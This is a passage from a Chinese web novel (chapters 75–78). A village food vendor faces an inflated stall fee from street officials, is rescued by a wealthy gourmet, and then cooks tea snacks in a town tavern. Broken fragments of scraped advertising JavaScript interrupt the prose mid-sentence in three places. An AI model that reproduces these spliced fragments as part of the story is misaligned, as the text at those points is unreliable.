宋昌易心里筹算了一遍,觉得这价钱也好,便抬手令朱四退下。 可朱四却顿了顿,又开口道: “掌柜的,我在娘子那收酒,又发现了一件事呢!” 宋昌易此刻正在看账本打算盘,一听到这话,那算珠上下撞碰的声音都停下了,问道: “哦?是什么事?” 事实上,宋昌易也是特意让朱四去丁宝珠那儿的,谁让这小子和后者有缘,也不算是陌生人了,还能打一点感情牌——重要的是,这小子也的确比较机灵,做事也使他放心些。 没想到去了一次回来,还真有了发现? 朱四凑近笑道: “掌柜的您不清楚,我今天在那娘子的摊上,娘子卖的还是那些吃食,但除去这松花酒和那松花团子,其中有一样,倒是要比这松花酒还火呢,明明早就卖完了,还能源源不断的有客人来问呢。我还听娘子说着话,听着像是有些不够卖的意思,毕竟她也只是摆了个小摊罢了。” 宋昌易稍许蹙眉迟疑道: “你的意思是……” 一个酒楼里肯定不只有朱四这么一个跑堂,但身为做事的人,也几乎存着拔尖儿让老板能见到的心思。朱四思忖片刻才开口道: “掌柜的,我是想说,那娘子的饮子卖得太好了,可她没有多余的条件能照顾大多数人啊,就那么一个坛子,能卖给多少人?而且她还是从附近村里来摆摊的,一时半会儿恐怕也没法再扩张——” “可我们就不一样了啊,我们是镇上最大的酒楼,就我们柜台那几个大肚量的,要是我们也做了那饮子,那已经喜欢上饮子的客人不都到我们这里来了?何况我在边上听着,那饮子似乎也不难做,今儿我们收来的松花酒过季就没了,可那个饮子还能接着卖呢。” 宋昌易一听完,就拍了下他脑袋,不悦道: “说什么胡话,这做生意的最不能干这种事了,再说了,我们又不知道那娘子的饮子究竟是怎么做的,还不赶紧干活去?” 朱四来不及揉揉脑袋,又提议道: “掌柜的,我也没让您咋样啊,那娘子也曾经让我们挣过一笔,还是个好人家,哪能干坏事?——我的意思是,我们可以找娘子讨那饮子的方子,再花些钱给她,我瞧这段日子里,店里的客人都在讨论那饮子,别提是镇上的人了!可偏偏娘子她供不应求,都惹得客人抱怨起来了,那这也不能怪我们吧?掌柜的,要不您再考虑考虑?” 宋昌易听后没回话,只挥手让朱四退下了,可后者也是在客满楼中做了不长时间的,看他这副模样,就明白是对自己的话上了心,也就安静退下了。 宋昌易捋着胡子,有些动摇不决。 虽说的确如朱四所讲,他也知道那饮子最近在镇里形成了一股小小的潮流,更是觉得前者说得有几分道理。可作为生意人,最看重的还是那商品的价值,简单来说就是能不能给自己赚钱——可他是一次都没有喝过,光凭顾客的几句言语,哪里能判断得出来? 想到这,他不由得长叹一声,心里上上下下地犹豫着。 好巧不巧就在这时,有个客人来到了柜台前,问道: “掌柜的,你这有没有松针饮子?” 75. 摊位费 宋昌易刚回过神,反问道:“什么松针饮子?” 有时候客人来到店内,却不是来吃饭的,而是来喝酒的,就单独要壶酒坐坐,或者再来几道下酒菜,而有的则是直接打包带走。 纵然如此,店里也不仅是就卖酒,有时候也会出些应季的饮品:比如春季的花茶,夏日的酸梅汤,秋天的梨汤,深冬的米酿,不过都是随着饭菜一起吃喝的。 但因着最近的事儿,这还是头一回有客人直接问有没有松针饮子的。 客满楼自然是没有松针饮子的,就连那松花酒,都是那柳叔恒的缘故才开始在酒楼里出名,所以一听到丁宝珠又来出摊就赶紧让人去包圆了——要不怎么说名人效应就是有用呢。 不过这松花和松针,客满楼里还真是不曾接触过。 这客人瞧着眼生,但宋昌易也没有不耐,并说道: “抱歉了客官,咱们这没有那松针饮子。” “啥?你这没有?这饮子难道不是你们这的吗?” 那客人看着反倒是更为不可置信。 “俺听着其他人讲的,说得那叫一个邪乎,还不相信有多好喝呢,就也想试试,还以为是你这里卖的,直接就来了,竟然不是?” 想必这客人属于是第一次听说那松针汽水的,只觉得大概是从祥安镇的地标客满楼里新出的,还不知道其实是从一个小摊子上卖出来的,也就过来了,却跑了个空。 宋昌易耐着性子说道: “抱歉客官,我这暂时还没有,不过……”他顿了顿,又接着笑道,“我这出了一种新酒,和松针倒也有些关系,客官不如尝尝试试?” 而送走了那客人后,宋昌易心思一转,仿佛已经来到了那终点处。 自从朱四走后,叶冬儿在旁边看得十分羡慕,原本那二钱银子对于她自己来说已经是不少了,没想到丁宝珠动动嘴皮就又得了将近一钱,愈加觉得她厉害了,不禁叹道: “姐姐,你当真是厉害,就这么一笔钱,都够我家卖上好几担子的桑叶了,还可能不够呢。” 丁宝珠收好钱后安慰道: “你这哪里的话,其实都是一样的,你家的桑树要照料,还要去采桑叶,那我也是要去采松花酿酒的,也是要付出力气才能有收获。再说你如今做了吃食生意,趁着人们感到新,几日下来大抵也是能赚些了,我也不过是比你做得早些,认识那人而已。” 叶冬儿羞涩笑道: “希望如此,其实就那一两天赚的,都能为家里多买点东西了,我相信之后也是可以的。” 叶冬儿现在主要就是卖那桑叶饼,把桑叶打碎了再和面摊饼子,只是那调味是自个儿的秘诀,要让丁宝珠复刻,一时半会儿恐怕还真不行。 所以这饼也简单,卖得就比较便宜了,一文钱能买两个,但胜在量多,这叶冬儿还是个十分有耐心的人,一天下来估摸着仍是能挣钱的。 丁宝珠是真心为她着想,毕竟这时候的女子要外出做事实在是太难了,和大多数人家作对比,那徐家简直就是大善人,顶多是有些小插曲,这点她还是能看出来的。 为此她又提议道: “虽然你家桑叶多,但也不能一直卖下去,我们是流动摊,回头客比固定摊少多了,所以只能多出点新品来稳固客流量,那你得再多想想才是。不过鉴于你也还没开始几天,就先卖着这桑叶饼就行了。” 叶冬儿连连点头,两人便再次开始尽力吆喝起来,不多时已经到了临近午时的时刻,这时候吃食大抵是卖得最好的商品了。 于是丁宝珠和叶冬儿也卖出去了不少松花团和桑叶饼,摸了摸被午时阳光晒红了的脸,后者却是被喜悦与激动占满了,那神情丁宝珠倒也熟悉——钱在自己手上,那皆是如此。 忙了一上午,两人就在自己摊前随意坐下,先用要贩卖的商品垫补垫补了。 丁宝珠递过去一个松花团,笑道: “刚刚我都吃过你的饼子了,你要是不嫌弃,也尝尝我的团子吧。” “我咋能嫌弃呢,谢谢姐姐。” 叶冬儿说着,也是饿了,接过团子就大口咬了三分之二,随即睁大眼眸惊叹道: “好好吃啊!我也会做团子,咋就没你做得那么柔软呢?就连里面的馅料也是滑溜溜的好入口!” 村里大部分女子长大后经常早早就许了人家,一手厨艺也就成了做媳妇是否合格的评判点之一,不过虽然会厨艺,却也不是人人都有大厨的手艺。 华国对于吃这一点上向来都是博大精深,其中的门路多得很,像丁宝珠这种已经做了许多年美食博主的人,其实也完全不够看的,可与普通人比对,却应当是够了的。 丁宝珠笑道: “每人做出来的吃食都是不同味道的,还有一点,就是熟能生巧吧,你要是多做做你这招牌桑叶饼,怕也是能悟出什么来的。” 两人说说笑笑,慢慢也就熬过了这段时辰,其实丁宝珠的松花团已经所剩不多了,她完全可以先回去,说不定在路上也能把剩下的给卖出去。一是今天她有了个摆摊搭子,倒也开心,二是等卖完后,她正好还可以逛逛街买点东西再回去。 半空中全是诱人的余味香气,丁宝珠多吸了几口,就准备继续干活了。 可过了没多久,又有几个面生的人来到了她的摊前,直直就往这里而来,各个的面色还有点不善,让丁宝珠不由得微微皱了皱眉。 那几个装扮还算是齐整甚至与平民相比高级不少的男人沉着脸盯了一眼丁宝珠,就抱着双臂口吻盘问道: “你是打哪里来的?” 丁宝珠并不想在外和陌生人硬碰硬,思量后答道: “我从象山村来的,过来摆个摊子卖点东西,卖完也就走了。” 那领头的大汉戴着一顶斗笠,瞧了那筐子几眼,鼻尖嗤了声,又问道: “你来祥安镇,怎么连点规矩也不懂?想要在固定的地方摆摊,就得上交摊位费——我记得上一回你也是在这里摆的吧?” 丁宝珠听着挑了挑眉,她还真没有听过这个规矩,毕竟她本来的战场是在那村外的大道儿上,在镇上摆摊总共就这几次,只是她有些分辨不清,这到底是真的管理者,还是单纯来收保护费那种的? 大汉看着丁宝珠那眼神,仿佛已经没有了耐心,却依然是扁着嘴多说了几句: “你别想多了,我们是这镇上管理街道的衙司里的人,就是负责管你们这些胡乱摆摊儿的!不信的话你大可去镇里问问,但是现在你必须先把这事儿给解决了——初次来到这摆摊倒没什么,只是再来,那就必须交摊位费,开市时另算!” 丁宝珠这时候才想起来,那日开市她来到这里时,本来找到了一个位置,却马上被人抢走了——但那可不是抢夺,那贩子口里声称是交了钱的,看来确有其事。 照这么说来,这不就是城管上门了么? 可丁宝珠仍然发现了一个疑点——这几个城管人物怎么那么像是单单盯上了自己呢? 这也不是她故意那么想的,而是自打这群大汉过来后,那叶冬儿就被吓到躲在了她的身后,她也是和丁宝珠一样来了几次了,可若是也交了那什么摊位费,又怎么可能会这样瑟瑟发抖?而且说话之间就好像无视了她一般,只顾着让自己拿钱出来。 所以她相信有街道衙司,可是对交摊位费这点表示怀疑。 但丁宝珠也不确定这衙司会如何处理事故,她只是个美食博主,又不是历史博主,这些她是压根不清楚的,只好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 问道: “那这摊位费要多少?” 斗笠大汉伸手一比划,就嚷道: “五钱银,不能赊账,也不能少!” 不只是叶冬儿,就连丁宝珠也不自觉倒吸了一口气,心里愈发觉得这街道衙司的人是故意的了。五钱银子都比她今日带来的所有吃食卖出去的总和多,要是全拿去交了这摊位费,那她还赚个什么? 况且还不知道这究竟能保持多久,万一这次是交了,没过几天又说要交呢?她有几个五钱银能支撑? 叶冬儿缩在身后也是蹙眉,毕竟这也关乎她自己了,可就算她把带来的所有桑叶饼卖了,怕也是没有五钱银子的,更别提她回家后还要上交给公婆,难道她以后也是不能在这里摆摊了?可不在这里摆,还有哪里是好地方? 丁宝珠也从几个顾客那里听过,自己的松针汽水好像在镇里小幅度地流行起来了,莫非是自己触动了某些人的利益,所以安排这些衙司的人来刁难? 这可不是她有意阴谋论——这种事情不管到了哪里,又去了哪个方面都是存在的。再说了,她就不相信这里的贩子人人都交了足足五钱银子的摊位费,而且祥安镇和其他城镇比,也并不是一块金贵的地方,哪里值得那么多? 斗笠大汉见丁宝珠迟迟没有动静,又是在人来人往的街上,就更是没了耐心,当即一个大帽子就扣了过来,不快道: “我说你这娘子好没道理,来镇上摆摊不提前打听打听规矩也就罢了,现在我作为衙司的人和你说,你还不理睬?你大可再去问问其他摊贩是不是有这条规矩,总之今日你这费用是必须要交的!” 丁宝珠还没回话,斗笠大汉旁边清一色穿着同颜色马甲和长裤的人也大声附和道: “就是就是,你们之后还想不想在这里摆摊子了?那合该交摊位费!还不快交了?” 还有人向其他不远处的摊贩招呼道: “喂,你们快来瞧瞧,这就有不遵守规定的人了——但不守规矩是个什么下场,你们应该知道的吧?这可不是我们乱定的,是法条里写着的呢!” 那斗笠大汉更是得寸进尺,面上似乎也有了几分得意,摆摆手说道: “我是看娘子独自一人的份上,才好好和你说的,把摊位费交了,以后一切都顺利,要是不交的话……” 好好说?这就是好好说吗?这是根本没把她这等女流放在眼里吧? 丁宝珠默默冷笑一声,而那叶冬儿,似乎也看出来这些人好像是专门为了前者而来的,可她生性善良,即便胆小,却也紧紧抓着她的衣襟咬着唇不松手。 斗笠大汉见丁宝珠竟然怪里怪气地笑了下,果然是破防了,吹胡子瞪眼道: “你笑个啥?赶紧交钱,听到没有?” “既然镇里有这个规矩,那我来了,就肯定要守,只是……” 丁宝珠顿了顿,扫视一圈后又皮笑肉不笑道: “我总得先去问问清楚这摊位费的事情,反正你只是说今日要交概不赊账,又没说什么时辰,那我先去问问,到时候亲自去衙司那儿交了,也有个见证,岂不好?” “嘿,我说你这不知好歹的妇人,让你交钱,你扯那么多□□话做啥?” 斗笠大汉的脸上横眉鼓眼的,气得当场就要上前,就连这摊子也是不屑一顾。丁宝珠飞快地挽起袖子,只把叶冬儿往后推去,自己却也跟着上前了。 然而就在后者的一阵惊呼下,突然有一个轻飘飘的声音传了过来: “都住手!” 两拨人果然都为了这突如其来的声音往旁边看去,但那斗笠大汉此时恰好在气头上,一张口就又是嚷嚷开来,骂道: “那个混蛋打扰爷爷我执法?不想在祥安镇混了?!” 76. 支线任务 “谁爷爷?自然是你爷爷我啦。” 一个男人慢悠悠地走了过来,看着是一名普通的行人,嘴里的话却有着满满的揶揄。 丁宝珠定睛一看,马上就记起来,竟然是那个第一次就包圆了她松花酒的男人——毕竟那可是大主顾啊,她怎么可能那么快就忘记了? 只是本以为他也是来逛市的,可祥安镇上的市都过去多久了,他竟还在?看着也并不像是住在这里的,莫非还想等到下一次开市? 斗笠大汉刚想再开口驳斥,可晃眼瞧清了那人的打扮,心里却是没有底了。这人的装扮可比镇子上一些掌柜员外还要好,那他若是一口就得罪了,今后还能得到好么? 那人见斗笠大汉立刻就不敢答话了,冷哼一声,手中的折扇也顺势一收,啐道: “不要脸的夯货,下作的歹东西,我还认识你另一个爷爷武大官,这祥安镇上的摊位费,每人分明交上几十文就能管个把月了,你倒好,活生生涨了那么多倍,是不是有人授意你来为难的?到时我和你爷爷说了,看你这顶斗笠还能不能戴得!” 一番话把斗笠大汉说得脸上由红转白再转青,心里认定了眼前的男人背后肯定是有着身份的——毕竟都认识自己的顶头上司,把自己裁了那岂不是分分钟的事情? 可私下的那些事他又不能明说,一时又涨红了脸色,都要发紫了。毕竟还真被这人给说对了大半。 但就在这时,从那人后面又窜出了一个满脸笑意的人来,颇有点打圆场的口气道: “俗话说得好——和气生财,大家之间肯定有什么误会,说清了就好了。我说这位爷,您都好久没来我们客满楼喝酒了,正好咱们今儿上了新酒,要不要移驾去品鉴品鉴?” 丁宝珠在旁撇了撇嘴。 今天上的新酒,那不就是刚收的自己的那松花酒吗? 说实在的,她还真不想给这人喝! 听这意思,摊位费的规矩是有的,可远远没有那么多不说,还真是冲着自己来的——莫非也真是如她所想,有人犯了红眼病,就专门来找街道管理处来为难自己了? 那斗笠大汉看有台阶下,连忙也就下了,清了清嗓道: “知道了知道了,到时候再去瞧瞧,现下我可没那闲钱!” 说完,他瞅了一眼自己的手下,手下们会意,一同灰溜溜地就离开了这里。 柳叔恒翻了个白眼,见人走了,才转为笑脸问道: “娘子没事吧?那贼奴才,怕是在哪贪了贿,就来你这找茬来了,还好我对这里熟得很,毕竟有些美味就藏在这种小摊里,哪能不清楚这方面的事?” 丁宝珠笑道:“多谢你替我解围,不过我也应该多打听打听再来的,我先前只在那村外摆摊子,没想到在镇上摆,这规矩果真多了起来。” 二人之后才认识了一番,但仅是互通了名姓,而朱四却在旁边急着开口道: “娘子,您可别忘记了我呀,照这么说,还是我带柳郎君过来的呢!” 丁宝珠莞尔道: “我怎么就忘记你了?这次还要多谢你们,他们过来时,我就想着是不是故意抬价的了,那我能让着他们?要不是你们,我可能就要拿那鸡子去碰石头了!” 闲话了几句,丁宝珠又疑问道: “不过你们怎么突然来了?是有啥事吗?” 总不能两人刚刚好赶过来吧?一定是因为有事来寻她,结果凑巧就遇上了这场冲突,再给解了围。 朱四笑道: “娘子,我家掌柜的请你去店里说话,要我说那可是一件好事呐!” 这下丁宝珠是更摸不着头脑了,但想着自己的吃食也卖完了,而且两人还帮了自己一个大忙,也就同意了,只是和叶冬儿讲了几句,请她帮自己看会儿摊子,就跟着朱四与柳叔恒去了客满楼。 可没想到这一回去客满楼,既不是留在那柜台,也不是在那大厅上,而是单独去了二楼的一个小小包厢里,不得不说,都把丁宝珠给弄紧张了。 宋昌易一路笑意盈盈地带着丁宝珠走,可他偏头见柳叔恒也默默跟了上来,叹口气道: “我说柳郎君,我要与丁娘子谈事,您就别跟上来了吧?” 柳叔恒骨嘟着嘴道:“你们倒是神神秘秘的,行,我不打扰你们,不过这时候嘛,是该饮下午茶了吧?” 这话不说还好,一讲出口,宋昌易更是觉得头疼,一时间甚至觉得让柳叔恒继续跟上会比较好些。 只因自己这客满楼不单是祥安镇里最大的酒楼,也是和其他邻镇相比最大的,所以这柳叔恒竟然是赖在这里不走了。其实他留在这,也不是对酒楼没有益处,而且还是个不差钱的主儿,经常高兴了,那赏钱就是源源不断,所以直到现在,客满楼里的伙计就没一个是不喜欢他的。 可伙计们喜欢,后厨的大厨们却是愁得长吁短叹,皆因这柳叔恒吃遍了美食,动不动就想着吃新奇点的,时不时就不满意做好的菜肴,可客满楼到底来说规模仍是不大的,至少和县城里的相比,那简直是小巫见大巫了。 而客满楼里实际上还是家常菜居多,也就是有几道对平民来说饶有新意的,可哪能让柳叔恒满意?他这里可真是越来越供不起这尊大佛了,偏偏还不能赶走,宋昌易这几日都是痛并快乐着。 眼下又要饮下午茶,那必是想精致再精致,但他这里哪有这条件?顾客们来这里,那还是喝酒居多,没那么雅致。 丁宝珠还是第一次见到宋昌易有这般纠结、烦恼,甚至莫名有些心痛的神情,但就凭她对柳叔恒的初印象,似乎也能想到是为了什么,不自觉捂嘴轻笑了笑。 柳叔恒不悦道: “娘子,你笑什么?喝下午茶那是件风雅之事,若是再配上一杯好茶和几道茶点,就不枉这段好时光了啊。” 丁宝珠回笑道: “我清楚柳郎君的意思,但我这是为宋掌柜心疼呢,都知道你难缠,怕是真上了几道,也不对你心思。” 宋昌易不由得倒吸一口凉气,可他忽然想起来,丁宝珠貌似还不认得眼前的人究竟是何人…… 正想开口解释几句,那柳叔恒却眯了眯眼,仿佛找到了什么沧海遗珠一般,被引起了兴趣似地浅笑着问: “怎么,宋掌柜不能对我的心思,难道娘子就能对上了?嗯……不过娘子若是能对上倒也好,就说明我并没有看错人。你要是真能做到,小爷我的赏钱可是不会吝啬的。” 虽是这么说了,可丁宝珠却淡笑道: “我只是一介村妇,做的也都是一般的吃食而已,哪里能入得上柳郎君的眼?等事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情办好了,我还要回家干活去呢。” “这又不急,距离日落还有好几个时辰呢。”柳叔恒手执着折扇轻敲了敲肩膀,“再说了,你从原来的地方来到镇上摆摊,不就是想要多挣点钱回去吗?现在给你一个机会,岂有不要之理?何况我和宋掌柜也不是什么坏人,你做不了,难不成还拘着你不让你走了?” 这人还真是……洒脱不羁! 丁宝珠差点就露出了与宋昌易相同的神色来,但其实她也和斗笠大汉一样,隐隐也能瞧出这柳叔恒的身份不一般,所以才不想急着卖弄自己所了解的——可后者说得也不错,他明显是个不缺钱的主儿,自己若是真得了他的心意,那肯定是能得一笔赏钱的,赚得起码抵得上她好几日的生意了。 但宋昌易想的,那就和丁宝珠不同了。他这次请她来是有要事的,怎么又能让人家做活儿呢?便说道: “柳郎君,丁娘子既然做不得,那就不做了吧,况且我找她来还有事情要协商呢。” “这样啊……” 柳叔恒有些失望,他原本以为今天能够发现惊喜的,事实上就连来到这祥安镇,他也是随意选的近期会热闹些的地界罢了,这样一来,他不就等于是铩羽而归了吗? 丁宝珠见状,便说道: “其实我这也不麻烦,就是这难免要用到客满楼的后厨,我是怕宋掌柜麻烦呢。” 宋昌易哪能听不出这句话的言下之意,惊喜是没有了,只有惊讶——难道这娘子还真想试试? 柳叔恒眼前一亮,重新又把那紫骨泥金的折扇啪的一声展了开来,露出了一片精细的花木图,笑道: “宋掌柜,人家娘子都这么说了,你就先把你的灶儿给让出一座吧?” “这……” 宋昌易迟疑了须臾,眼下这个事态,似乎又变成了只靠丁宝珠来了。若是真能使柳叔恒满意,那客满楼说不定也有了更名声大噪的机会,可要是不满意,这台阶又该怎么下呢? 但好歹这柳叔恒虽然太过奔放了点,脾气倒是没那么差劲。所以想到最后,他还是叹口气答应了。 丁宝珠此时又问: “不知柳郎君要喝什么茶?我也好想想做什么茶点。” “哦?”柳叔恒不可能连这点也不懂,却只是笑着反问道,“那娘子先讲讲?” 丁宝珠无奈道: “都说是甜配绿、淡配白、油配黑、鲜配乌龙的,茶与茶点这样搭配着吃,既不会太腻,也能提升口感——但柳郎君您可别想着都要,这么多茶,那您今天恐怕是要在客满楼里独坐一夜了。” 后半句话直接把柳叔恒本想说的话给推了回去,还真被前者说对了,他听完后,还真想各个都尝一遍。 宋昌易这时流着冷汗道: “柳郎君,我这客满楼其实不过是个小店,可没有那么多茶叶品种和好茶,您看这……” “无妨,我也不是光想着饮茶,比起茶水,我还是更想吃茶点。”柳叔恒笑得像是只得逞的狐狸,吩咐道,“娘子也别想着什么搭配不搭配了,就端出自己拿手的就行。” 宋昌易只好换了人带着柳叔恒去了厢间,而在走之前,他又对一直待在旁边的朱四使了个眼色。一直不敢懈怠的朱四立马会意,转头就领着丁宝珠去店里的后厨了。 77. 茶点局 “我说娘子,不知道你有几分胜算?这担子说接就接了?” 朱四一边在前面带路一边啧啧叹道。 丁宝珠却笑着说: “左不过这是一个机会,而且那柳郎君也说了,就算做的不好也不怪罪,顶多是没有赏钱了,不过我还是希望能得到这笔赏钱的。” 那老话怎么说来着?拔一根汗毛都比自己的腰粗,柳叔恒这等把吃看得最重要的人,那自然是又有钱又有闲的人才干得出来了,要是真的有那么顺了他的心,也就可以讨到赏了。 朱四听了,觉得丁宝珠是已经下定了决心,便不再多话,只笑道: “娘子想清楚就成,我带您去我们的厨房那儿。” 虽然丁宝珠提前想象过客满楼这种酒楼的厨房是什么样子的,可直到抵达,她仍是讶异了那么一瞬——毕竟她在村里的小灶台旁待得太久了,而生意很好的酒楼就连灶膛都是一排排列着的,一眼望去,尽是厨具与食材,几乎堆得满满当当的。 丁宝珠随手摸了摸其中一张台面,心里油然升起一股羡慕来。 她什么时候也能有这样的条件? 那朱四原本存了一点卖弄的心思,可见丁宝珠脸上非但没有见了世面的模样,反而更多的是喜色和期待,当下羞讪地清了清嗓,再喊了人过来。 此时早已是过了午时最忙碌的时候,厨房里也没有多少人,但全部都是男人,他们见朱四竟然领了个娘子进来,纷纷好奇地瞧了过来,有的甚至大笑道: “我说朱四,你带着个娇滴滴的娘们儿来做啥?咋了,对菜不满意?但出了厨房,我们可不退哈。” “去去去,瞎胡说什么?”朱四摆摆手,“我告诉你们,这娘子是过来借用厨房做吃食的!你们把厨房里的食材都拿出来,不准藏着掖着,这是掌柜的意思,你们明白了不?” “啥?做吃食?”那厨子嗤笑一声,但听着其实也没有太多的轻蔑,或许是觉得好玩,又问道,“这娘子年纪轻轻的,能做些啥?咱们这群大老爷们哪个不是案上先练了好几年的?掌柜的倒好,直接就让她进来了!” 其实做这方面活计的,大抵也是有厨娘的,只是那实在是太少了。大多数女子要么是早早嫁人就一直待在夫家里,要么就是些寡妇老妪出来做事,就这样,那前提还得有好手艺才行,所以这群男性大厨才看得稀奇。 “我说你能不能少说几句?”朱四深怕惹得丁宝珠不高兴了,连忙瞪着眼解释道,“娘子过来做的可不是一般的吃食,是专门为柳郎君做的下午茶的茶点!这东西难道你们能做?不能做的话,那还不赶紧让开?” 一提到柳叔恒,几个厨子的脸色霎时变了,看来这段日子没少被他折腾过,明明都浑身解数,也仍是少有满意,都快被榨得丧失信心,怀疑自己真的做得有那么差了。 想到这,那些厨子的态度一下子就转变了,各个都开始倒起了苦水,也给丁宝珠让出了位置。 朱四就派了那早先开口的厨子帮丁宝珠熟悉,自己又安慰了几句众人,就离开厨房了——还要为那柳郎君泡茶呢。 那厨子姓曹,简单认识两句,丁宝珠就问了关于食材的事情。 曹厨子虽然依旧不大相信她做出来的就能让柳叔恒满意,可他们这群人也实在是没招了,又有宋昌易的授意,也就带她去见了厨房如今有的食材。 “话说客满楼里做点心吗?”丁宝珠问道。 曹厨子认真思索后才回答说:“不怎么做,我们这里不是茶楼,所以还是做菜多,偶尔掌柜的有想法了,我们才研究研究。” 他说完,又微微苦着脸叹道: “我做厨子也有那么多年了,还是头一次见到那么难满足的客人,偏偏还是个贵人,现在又说什么要饮下午茶,他咋不去茶楼呢?” 丁宝珠应了几句,却见一个竹篮里放着一篮子和厨房里食材既不相关,可又奇异得有少许相关的材料,伸手捻起一片嗅了嗅,闻到一抹淡淡的芳香,便问道: “这里怎么还有玫瑰花瓣?” “哦,你说这个,也是我们现在在说的事。”曹厨子解释道,“也不知道掌柜的听了哪位客人的话,突然又想着要用鲜花入馔,我们虽是还在纠结,却也知道这个时节里,可以用那玫瑰来做吃食,也就暂时先收集了些过来。” 看来不管是什么时候,老板一发话,底下人就要绞尽脑汁地去解决啊! 丁宝珠问道: “那我能不能用一点?” “当然,掌柜的都发话了,再说现在还是要先把那柳郎君伺候好。” 曹厨子颔首,继而又不由得叹了口气。 于是丁宝珠已经想好了第一道茶点,可是她也明白,柳叔恒是绝对不会仅仅满意只有一道的,况且寻常的茶点,那小碟小盘中只有那么一两块儿,也是不够吃的。 所以接着逛厨房,不久又从一个水桶里发现了一种形状奇怪的菜来,紫红色的茎干上又布满着丝丝缕缕的毛枝——那已经不能说是菜了,而是更像是藻类。 丁宝珠眼前一亮,抬手指着就问道: “你们这儿怎么有这个的?” 曹厨子望了一眼,不明白丁宝珠为何如此兴奋,但仍然解释道: “哦哦,你说这个?这是一个熟客送给掌柜的,那熟客是定居在附近,但是家乡在远处,他那家乡就出这种菜,所以这个我们也不咋对外卖,只有那客人来了才按他的那方法做道菜来,现在就只剩下那么点了。不过我听闻,那客人出了远门,已经有段日子没回来了,这菜存着到最后怕是也坏了,若是你想要,那就拿去好了。” 这正合丁宝珠的意思,只是她虽然认识这是个什么东西,可不确定这里是怎样称呼的,就又问道: “这叫个啥名儿?” 曹厨子挠了挠额头想了一会儿,才道: “好像是叫……红丝菜。” 啧啧,这还挺形象的!丁宝珠心里想着,可实际上,她知道这其实是石花菜,是一种藻类,最适合做凉拌菜,特别还是在天气热的时候吃,最是清爽,但最重要的,那就是还能煮出胶质来做甜点! 毫不犹豫地全部收下,丁宝珠又问道: “你们这有没有茶叶?” 曹厨子笑道: “虽然我们这也不是茶楼,可总不能连一点茶叶都没有啊。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那好,麻烦您给我拿两包过来,就要绿茶和乌龙,品质好一点的。” 曹厨子疑惑了,这娘子做的不就是茶点么?怎么还用上茶叶了?难道她还想着泡杯茶一边喝一边做吃食?这架子倒要比他们还大呢! 可作为厨子,他的脑袋里又多了一个自己不太愿意相信的念头。 莫非……她要把茶叶做进茶点中?! 而当柳叔恒与宋昌易进了包厢后,没过多久,朱四就送来了茶水,两人各种品了一杯,不过前者不知去过多少有名的茶楼,所以他对这茶着实是没多少期盼的。 宋昌易叹道: “我说柳郎君,您为什么就只赖着我这小店呢?要是丁娘子做出的不符合你的口味,还白白浪费你的这些时间呢!” 柳叔恒瞥了一眼,玩笑道: “宋掌柜,你这么急做什么?哦,方才你好像是要找她偷偷商量什么事情,啧,也不知道是什么好买卖呢。” 宋昌易噎了下,但是那件事,他不是很想对柳叔恒从头到尾都说个明白——也不是所有的事都必须要与他讲的,到底来说,这柳叔恒就是个食客,只不是普通的食客,是有名的食客,吃上几顿满意了也就走了,说不定将来还不会再踏进祥安镇了呢。 若是他今后又出了书,里面有了客满楼的名字倒还好,就是没有,宋昌易自认为他已经仁至义尽,关怀备至,估计以后也不会再有碰面的机会了。 可在那之后又过了一个多时辰,宋昌易就有点等不及了。这再加些时间收拾收拾都到晚食的时候了,那也是酒楼里最忙碌的时候,还搞什么下午茶?那丁娘子当真能做好吗? 况且回想起来,这柳叔恒为什么会对一个村妇这么感兴趣? ……不会是自己想的那样吧?他竟然还有这口味? 宋昌易不敢往下想了,再说那丁娘子是新婚燕尔,自己怎么能那么想呢?太唐突了! 强忍着耐心又多等了两刻钟,就连桌上的茶水也换了两拨,宋昌易终于是忍不住道: “柳郎君,眼看就是我这开门的时辰了,您看……” 柳叔恒却淡定极了地说道: “没事,大不了我包场了,不会让你有亏损的。” 看样子,他今天是一定要吃到这下午茶不可了! 宋昌易扶额,好在这时,门口朱四敲了门说道: “掌柜的,柳老爷,丁娘子说能够上茶点了。” 宋昌易紧忙道: “快,快呈上来!” 屋外答应,又过了片刻,是那丁宝珠亲自端了托盘小心翼翼地走进来,不好意思地笑道: “让两位久等了,因为要从头开始做,用的时间就长了,现在已经全部做好了。” 那柳叔恒不说话,却已是盯着那托盘里看了。宋昌易松了口气,又忙道: “快上茶点吧,柳郎君都等不及了。” 其实等不及的哪里是话里的人,宋昌易只想着自己后面的生意,这也是无可厚非的,所以不免有了些抱怨的口吻。丁宝珠只当没听见,一面把餐具摆在桌上,一面一道道介绍起来。 “第一道是——蜜汁玫瑰芋。” 78. 玫瑰乌龙琥珀羹 柳叔恒轻轻摇着扇子没有答话,毕竟这一道茶点没有什么奇特之处。 不过他得承认,光是看上去,那模样还是蛮好看的。芋头被改刀切成了整整齐齐可以合成的三角厚片,表面上裹着一层晶莹剔透的半冷却的犹如琉璃般的糖水,而芋头片的上方则是点缀着一小撮圆润的玉红色的玫瑰酱。 或者不能说是蛮好看,而是好看到完全不像是一个村妇能够做出来的点心。 其实芋头还得放去一边,最重要的还是那玫瑰酱。柳叔恒是清楚这东西的金贵的,只是做成酱料也罢了,要是那玫瑰清露,又或是玫瑰膏,那才是真正价值连城的。 柳叔恒笑着问:“宋掌柜,你这里竟然有玫瑰能够做菜,怎么我都来这几日了也没听你提过,这样藏着呢?” 宋昌易叹道:“我虽是得到了一些能食用的玫瑰,可我这的人都不怎么会做,也没人敢下手,就一直放着了,自然也不可能做给你了啊——没想到倒是让丁娘子料理了。” 丁宝珠微笑道: “我也是在厨房里发现的,而且说实话,因为时间紧,所以并没有做到最好,还得让二位来品鉴品鉴才是。” 柳叔恒也不恼,赶忙让她继续上。丁宝珠便又端了一个盘子过来,说道: “第二道——螃蟹凤眼饺。” “嗯?”宋昌易一愣,疑惑问道,“不对啊,我厨房里没有进螃蟹,现在也不是吃蟹的时候啊?” 不等丁宝珠解释,那柳叔恒却笑道: “不必多说,丁娘子做的一定是赛螃蟹了,而且做了这饺儿的馅料。” “柳郎君真是见多识广,正是这样。茶点其实也有咸口的,既然柳郎君没有说喝的什么茶,所以我就备了这个。”丁宝珠解释道。 